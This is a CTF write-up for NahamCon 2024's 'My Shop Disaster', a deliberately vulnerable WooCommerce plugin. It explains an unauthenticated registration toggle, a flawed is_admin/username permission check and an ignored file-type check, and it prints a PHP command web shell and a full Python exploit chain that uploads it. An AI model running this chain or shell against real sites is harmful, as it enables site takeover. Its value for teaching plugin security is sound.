NahamCon CTF 2024: My Shop Disaster
Solution for the WooCommerce WordPress plugin challenge that PatchStack submitted to the NahamCon 2024 CTF.
Summary
This challenge was 1 of 3 challenges that PatchStack submitted to the NahamCon 2024 CTF. These 3 challenges were a good demonstration of some of the common mistakes WordPress plugin developers make when writing code.
Challenge
The challenge is a custom WordPress WooCommerce plugin, and the source code is available to download along with a Dockerfile to get it up and running on your own machine should you wish.
As this is a whitebox challenge, let’s dive in and look at the code:
No Priv Functions
Quickly looking over the plugin’s code we see can see there are a couple of nopriv
functions defined. Functions defined like this in WordPress can be accessed publicly by sending a request to /wp-admin/admin-ajax.php
with the specific action.
add_action( 'wp_ajax_nopriv_associate_product_variation', array( $this, 'associate_product_variation' ) );
// ...
add_action( 'wp_ajax_nopriv_set_gallery_picture', array( $this, 'set_gallery_picture' ) );
For example, the first one here can be called like: /wp-admin/min-ajax.php?action=set_gallery_picture
. When this request is sent WordPress will execute the defined function, e.g. set_gallery_picture
.
However, these two unauthenticated functions, actually have a custom auth check written in. This looks interesting (suspicious), so we’ll come back to this function later, but for our purposes it stops unauthenticated users from calling them at all…
public function associate_product_variation() {
if ( !is_admin() || !$this->check_permission() )
{
wp_send_json( 'Unauthorized!' );
}
Public Rest Routes
So another way WordPress plugins commonly expose actions is via the JSON REST API. If we search for register_rest_route
we see a couple of functions defined and there is no authentication required on these, as there is no permission_callback
defined.
function register_customer_registration_enable() {
register_rest_route( 'woo-variations/v1', '/registration-enable/', array(
'methods' => 'GET',
'callback' => array($this, 'registration_enable'),
'args' => array(
'data' => array(
'required' => false,
'default' => array(),
)
)
));
}
Where the function it calls is defined:
function registration_enable( $data ) {
update_option( 'users_can_register', 1 );
wp_send_json('Customer registration enabled');
}
This allows us as an to enable registrations without authentication. We can create a simple Python function that can automate this for us:
def enable_registration():
r = session.get(f'{TARGET}/wp-json/woo-variations/v1/registration-enable/')
data = r.json()
print(r.text)
return r.ok and 'Customer registration enabled' in r.text
Then we can create a new user with the default user role, typically a subscriber level user. Again here’s the Python to do this:
def do_register(username):
session.get(f'{TARGET}/wp-login.php?action=register')
data = {
'user_login1': username,
'user_email1': f'{username}@test.com',
'user_password1': username,
'wp-submit1': 'Register',
'testcookie': 1
}
r = session.post(f'{TARGET}/wp-login.php?action=register', data=data, allow_redirects=False)
if r.status_code == 200:
print(f"[+] Register Successful")
return True
print(r.text)
print(f"[-] Register Failed")
WordPress Registration typically sends an email instead of letting you set a password directly, however in the CTF this is disabled and you are able to enter a password on registration.
.env
(admin/REDACTED) and create the new user in the WordPress admin panel.Flawed Permissions Check
Now we have created a new subscriber level user, lets jump back to look at that suspicious authentication check:
if ( !is_admin() || !$this->check_permission() )
In WordPress security the is_admin
function is pretty infamous… it doesn’t do what any sane developer would expect. Instead of checking if the current user is an admin, it checks to see if the request came from an admin page. As our request is coming from /wp-admin/admin-ajax.php
we automatically pass this check, suck it.
The second function check_permission
is the following:
function check_permission() {
if ( !current_user_can( "manage_options" ) && strpos( wp_get_current_user()->user_login, 'admin' ) === false )
{
return false;
}
return true;
}
This function grants permission (returns true) if:
- The user has the
manage_options
permission, which is typically only the admin user.
– or – - If the user’s username contains the string
admin
. This seems a little unrealistic, however, I have seen similar and even worse things in production code.
So now we can create a new user with a username such as not_admin
and it will now be granted access to anything that is protected by this check_permission
function.
Arbitrary File Upload
We now have access to a couple of interesting looking functions, the most obvious attack vector is the set_gallery_picture
function that allows us to upload a file for a particular product id:
public function set_gallery_picture() {
if ( !is_admin() || !$this->check_permission() )
{
wp_send_json( 'Unauthorized!' );
}
$product_id = isset( $_POST['product_id'] ) ? intval( $_POST['product_id'] ) : 0;
// Verify that the product exists and is a WooCommerce product
if ( $product_id && function_exists( 'wc_get_product' ) ) {
if ( $_FILES && isset( $_FILES['gallery_picture'] ) ) {
$file = $_FILES['gallery_picture'];
$file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );
$upload_dir = wp_upload_dir();
$upload_path = $upload_dir['basedir'] . '/woo-gallery/';
if ( !file_exists( $upload_path ) ) {
wp_mkdir_p( $upload_path );
}
if (move_uploaded_file( $file['tmp_name'], $upload_path . sanitize_file_name($file['name']) ) ) {
$file_url = $upload_dir['baseurl'] . '/woo-gallery/' . sanitize_file_name($file['name']);
if (function_exists( 'wc_gallery_set_attachment_from_url' ) )
{
$attachment_id = wc_gallery_set_attachment_from_url( $file_url, $product_id);
if ( $attachment_id) {
echo json_encode(array( 'success' => true, 'message' => 'Gallery picture uploaded successfully.' ) );
} else {
echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to product gallery.' ) );
}
}
else {
echo json_encode(array( 'success' => false, 'message' => 'Error adding attachment to Woocommerce product.' ) );
}
} else {
echo json_encode(array( 'success' => false, 'message' => 'Error uploading file.' ) );
}
} else {
echo json_encode(array( 'success' => false, 'message' => 'No file uploaded.' ) );
}
} else {
echo json_encode(array( 'success' => false, 'message' => 'Invalid product ID.' ) );
}
}
Here we see the use of PHP’s move_uploaded_file
rather than one of WordPress’s custom file upload handling functions. WordPress’s upload functions have several protections over PHP defaults, so this immediately flags we may have something interesting to exploit.
From a quick glance you’d be forgiven for thinking it’s a dead end given that the file type is checked with the following:
$file_type = wp_check_filetype( basename( $file['name'] ), array( 'jpg', 'jpeg', 'png' ) );
However, $file_type
is completely, ignored, so we can upload arbitrary files without issue.
So we can create a basic PHP shell.php
file:
<?php
if (isset($_REQUEST['cmd'])) {
echo system($_REQUEST['cmd']);
}
else{
echo "no command...";
}
and craft a simple Python function to upload it:
def upload_shell(product_id):
files = {'gallery_picture': open('shell.php', 'rb')}
data = {
'action': 'set_gallery_picture',
'product_id': product_id
}
r = session.post(f'{TARGET}/wp-admin/admin-ajax.php', data=data, files=files)
print(r.text)
return r.ok and '"Error adding attachment to Woocommerce product.' in r.text
Final Exploit Script
Putting it all together we get the final exploit script that enables user sign up, creates a new subscriber level user, then logs in as that user and then uploads a basic PHP shell:
import re
import sys
from os.path import basename
import uuid
import requests
"""
Author: Mat Rollings (stealthcopter)
Website: sec.stealthcopter.com
"""
TARGET = 'http://wordpress.local:1337' # No trailing slash
# TARGET = 'http://challenge.nahamcon.com:31261' # No trailing slash
session = requests.session()
# Proxy can be uncommented here for debugging:
# session.proxies = {'http': 'http://localhost:8080'}
def do_register(username):
session.get(f'{TARGET}/wp-login.php?action=register')
data = {
'user_login1': username,
'user_email1': f'{username}@test.com',
'user_password1': username,
'wp-submit1': 'Register',
'testcookie': 1
}
r = session.post(f'{TARGET}/wp-login.php?action=register', data=data, allow_redirects=False)
if r.status_code == 200:
print(f"[+] Register Successful")
return True
print(r.text)
print(f"[-] Register Failed")
def do_login(username, password):
session.get(f'{TARGET}/wp-login.php')
data = {
'log': username,
'pwd': password,
'wp-submit': 'Log In',
'testcookie': 1
}
r = session.post(f'{TARGET}/wp-login.php', data=data, allow_redirects=False)
if r.status_code == 302:
print(f"[+] Login Successful")
return True
print(r.text)
print(f"[-] Login Failed")
def enable_registration():
r = session.get(f'{TARGET}/wp-json/woo-variations/v1/registration-enable/')
data = r.json()
print(r.text)
return r.ok and 'Customer registration enabled' in r.text
def upload_shell(product_id):
files = {'gallery_picture': open('shell.php', 'rb')}
data = {
'action': 'set_gallery_picture',
'product_id': product_id
}
r = session.post(f'{TARGET}/wp-admin/admin-ajax.php', data=data, files=files)
print(r.text)
return r.ok and '"Error adding attachment to Woocommerce product.' in r.text
def exploit():
enable_registration()
username = 'admin_bcbedec9-6dd2-4aae-a399-faccbd431397'
password = username
print(f'[+] Username: {username}')
print(f'[+] Password: {password}')
if not do_register(username):
return False
if not do_login(username, password):
return False
product_id = 1
if upload_shell(product_id):
print(f'[+] Shell uploaded to {TARGET}/wp-content/uploads/woo-gallery/shell.php')
else:
print('[!] Error probably didnt upload shell!')
exploit()
Then we can run this script and our web shell will be uploaded:
❯ python3 shop_disaster.py
"Customer registration enabled"
[+] Login Successful
{"success":false,"message":"Error adding attachment to Woocommerce product."}0
[+] Shell uploaded to http://wordpress.local:1337/wp-content/uploads/woo-gallery/shell.php
We get an error that the attachment cannot be added, but we’ve already won at this point as the PHP file has been moved into the uploads folder.
We can now use this to exfiltrate the flag by running cat /flag.txt
🥳